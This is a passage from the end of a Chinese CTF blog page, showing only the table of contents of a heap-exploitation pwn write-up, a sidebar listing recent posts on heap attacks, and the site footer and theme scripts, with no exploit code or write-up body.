href="#welcome%E5%87%BD%E6%95%B0"><span class="toc-number">3.2.1.</span> <span class="toc-text">welcome函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#input-money-and-menu%E5%87%BD%E6%95%B0"><span class="toc-number">3.2.2.</span> <span class="toc-text">input_money_and_menu函数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#heap-management%E5%87%BD%E6%95%B0"><span class="toc-number">3.2.3.</span> <span class="toc-text">heap_management函数</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#check-in"><span class="toc-number">3.2.3.1.</span> <span class="toc-text">check in</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#check-out"><span class="toc-number">3.2.3.2.</span> <span class="toc-text">check out</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF"><span class="toc-number">3.3.</span> <span class="toc-text">利用思路</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%88%E5%B8%A7%E7%9A%84%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%E5%A6%82%E4%B8%8B%EF%BC%9A"><span class="toc-number">3.3.1.</span> <span class="toc-text">栈帧的具体情况如下：</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%80%9D%E8%B7%AF"><span class="toc-number">3.3.2.</span> <span class="toc-text">思路</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95"><span class="toc-number">3.4.</span> <span class="toc-text">动态调试</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#EXP"><span class="toc-number">3.5.</span> <span class="toc-text">EXP</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/" title="Largebin attack学习"><img src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Largebin attack学习"/></a><div class="content"><a class="title" href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/" title="Largebin attack学习">Largebin attack学习</a><time datetime="2021-03-28T06:10:00.000Z" title="发表于 2021-03-28 14:10:00">2021-03-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/" title="BUUOJ刷题记录补档-1"><img src="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="BUUOJ刷题记录补档-1"/></a><div class="content"><a class="title" href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/" title="BUUOJ刷题记录补档-1">BUUOJ刷题记录补档-1</a><time datetime="2021-03-22T13:19:00.000Z" title="发表于 2021-03-22 21:19:00">2021-03-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/" title="House of Spirit学习"><img src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="House of Spirit学习"/></a><div class="content"><a class="title" href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/" title="House of Spirit学习">House of Spirit学习</a><time datetime="2021-03-20T06:49:00.000Z" title="发表于 2021-03-20 14:49:00">2021-03-20</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/" title="V&amp;N2020 公开赛 simpleHeap"><img src="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="V&amp;N2020 公开赛 simpleHeap"/></a><div class="content"><a class="title" href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/" title="V&amp;N2020 公开赛 simpleHeap">V&amp;N2020 公开赛 simpleHeap</a><time datetime="2021-03-14T01:27:00.000Z" title="发表于 2021-03-14 09:27:00">2021-03-14</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2"><img src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="ciscn_2019_es_2"/></a><div class="content"><a class="title" href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2">ciscn_2019_es_2</a><time datetime="2021-02-07T06:59:00.000Z" title="发表于 2021-02-07 14:59:00">2021-02-07</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2021 By 1c3y</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><div class="js-pjax"></div><script defer="defer" id="fluttering_ribbon" mobile="true" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/canvas-fluttering-ribbon.min.js"></script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>